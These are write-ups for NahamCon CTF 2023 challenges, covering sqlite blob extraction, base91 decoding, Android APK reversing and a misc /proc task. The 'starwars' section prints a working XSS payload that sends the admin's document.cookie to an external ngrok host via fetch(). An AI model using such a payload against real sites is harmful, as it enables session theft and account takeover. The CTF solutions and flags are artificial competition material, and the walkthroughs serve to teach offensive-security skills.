Nahamcon2023

Nahamcon CTF 2023 writeups

warmups


blobber

Thic challenge had a downloadable part , the file was a sqlite database.

I opened the file using sqlite database browser

sqlite

browsing the data there is only gibberish , except on line 238 where data is a blob object.Blobs in sqlite is whereby files can be addedtto database as entries. Read more here

we can use this sql statement to get the blob

1
2

select data from blobber where id=238

Then save it to a file , the resulting file in is a bzip2 archive, extracting , you get an image of the flag

flag


ninety one

In this challenge you are provided with an encoded string

1
@iH<,{|jbRH?L^VjGJH<vn3p7I,x~@1jyt>x?,!YAJr*08P

I used this tool » here to analyse and decode it , it was encrypted using base91 encoding

1
2

flag{dfb88c7d9ca38e71dc27e1072fc43d1b}

glasses


This challenge you were provided with a webpage. It had no functionality, based on the title of the challenge it is obvious that we nee to find something hidden.

Lokking through the source I found obfuscated js code. You can use this tool » here to deobfuscate it . It returns html code the with the flag

1
2

flag{8084e4530cf649814456f2a291eb81e9}

web category


starwars


In this challenge you are provided with a web endpoint that allows you to signup and login The goal is to login as admin , you can also comment and the admin reviews your comment , obvoiusly it is classic xxs

xss

this below is the payload i used . it fetches my ngrok endpoint with the cookie appanded at the end. I dont know if the first part was necessary , I generated it by trial and error and it worked

1
2
3
4
5
6

"><script>
var iframe = document.body.appendChild(document.createElement('iframe'));
iframe.style.cssText = 'height: 500px; width: 100%';
iframe.src = 'http://challenge.nahamcon.com:30467/signup';
iframe.onload = function() { fetch('http://f910-102-167-145-177.ngrok-free.app?iframeContents=' + btoa(window.document.cookie), { method: 'GET' }).then(response => response.json()).then(data => console.log(data)).catch(error => console.error(error)); };</script>

the flag will be returned in base64 format. Use it in the browser to access /admin page and the flag

base64

flag


misc category


zombies


In this challenge you were provided with an ssh endpoint to connect to

reading the file .user-entrypoint.sh

file

nohup is enables a program to run even after a terminal window is closed , if you check running processes you can see that tail is still running. Running processes usually have the activities stored in /proc directory. in the image below 11 is the pid of the tail process

flag

mobile category


This challenge requires a set of tools to be able to do anything :

dex2jar

jdgui

ghidra

genymotion « android emulator on pc

adb

apktools

jninjaspeak


In this challnge you are provided with an apk file , you can install it on genymotion using adb, it is a simple prompt that converts input to jninjaspeak.

1
adb install jninjaspeak.apk

Decompile the application using apktool

1
2

use :   apktool -r -s d   jninjaspeak.apk

We use -r -s flags to tell apktool not to decompile the dexfiles to smali which it does by default.

Convert the dex files to jar using dex2jar to be able to view the source using jdgui.

In the mainactivity we see that the program needs libjninjaspeak.so liblary that is used to translate the input.

Here we use ghidra to reverse engineer the liblary , the liblary is in the /lib in the folder apktool generated.

In ghidra , in the main function of the liblary we find the flag

flag

flag{1f539e4a706e6181dae9db3fad6a78f1}


Fortune teller


For this challenge follow the above steps to install and decompile the application and convers dex files to jar.

The mainactivity function in located the classes3.dex. Looking closely you can see that the application uses our input as a key to decrypt an encrypted file , the encryption used is AES.

The file is decrypted in the decrypt.class. Where our input is used in the SecretKeySpec object.

Based on my simple java programming undertanding :) there is a variable called correctString that is initialized in the main function.

correct

It is followed by its getter function

getter

and then tracing it we find the setter function

setter

It sets correctString to the value by resource id 2131755048 . Resource ids can be traced what that point to in the classes2.dex, path is shown below

ridpath

rid

It is point to a string , the resorces can be found the /res folder since the value is a string we goto /res/values and cat strings.xml.

strings

The key is “you won this ctf” , enter it and get the flag

flag


wheres waldo


In this challenge you are provided with an apk file , follow the steps above to decompile it and open the sources in jd gui and install it in the emulator.

This application is some type of maps applcation so the objective is to find the location of waldo in the map.

Analysing the mainactivity function you can see thet the application is making a request to an endpoint which determines id we have found waldo and the distance from him

waldo

The objective is to set longitude and latitude that results on the off_by value to result to zero as you can see below

1
2
3
4

mapView1.getController().setCenter((IGeoPoint)new GeoPoint(location.getLatitude(), location.getLongitude()));
          Request request = (new Request.Builder()).url("http://challenge.nahamcon.com:30001/location?lat=" + location.getLatitude() + "&long=" + location.getLongitude()).build();
          Response response = (new OkHttpClient()).newCall(request).execute();

the code above takes the off_by and calculates the distance from waldo by miles.

I scripted this python program to do all the hardwork (at least).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

import requests

def calculate_distance(latitude, longitude):
    url = f'http://challenge.nahamcon.com:30001/location?lat={latitude}&long={longitude}'
    print(url)  # Replace with the actual API endpoint
    response = requests.get(url)
    print(response.text)
    data = response.json()
    off_by = data.get("off_by")
    i = off_by
    print(i)
    return(i)



def move():
    pos=list()
    for x in range(-180,180,30):
        for y in range(0,30,2):
            dis=calculate_distance(y,x)
            pos.append(list)

    print(pos)



move()

The code above i used to be able to narrow down on which coordinated produces the least distance from waldo

1
2
3
4

lat=30&long=-60 low 1099.613580066382

this was the lowest

from here i entered the values manually by trying raising the value higher or lower and chacking the changes in the distance

at lat=40.60 and long -74.67 we needed to go even smaller units so i researched and found out that api use the following format to show distance

1
2
3
4
Latitude: ±DD.DDDDDD
Longitude: ±DDD.DDDDDD

where D is any number between 1-9

final position lat=40.583333 and long=-74.67

waldo_flag

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy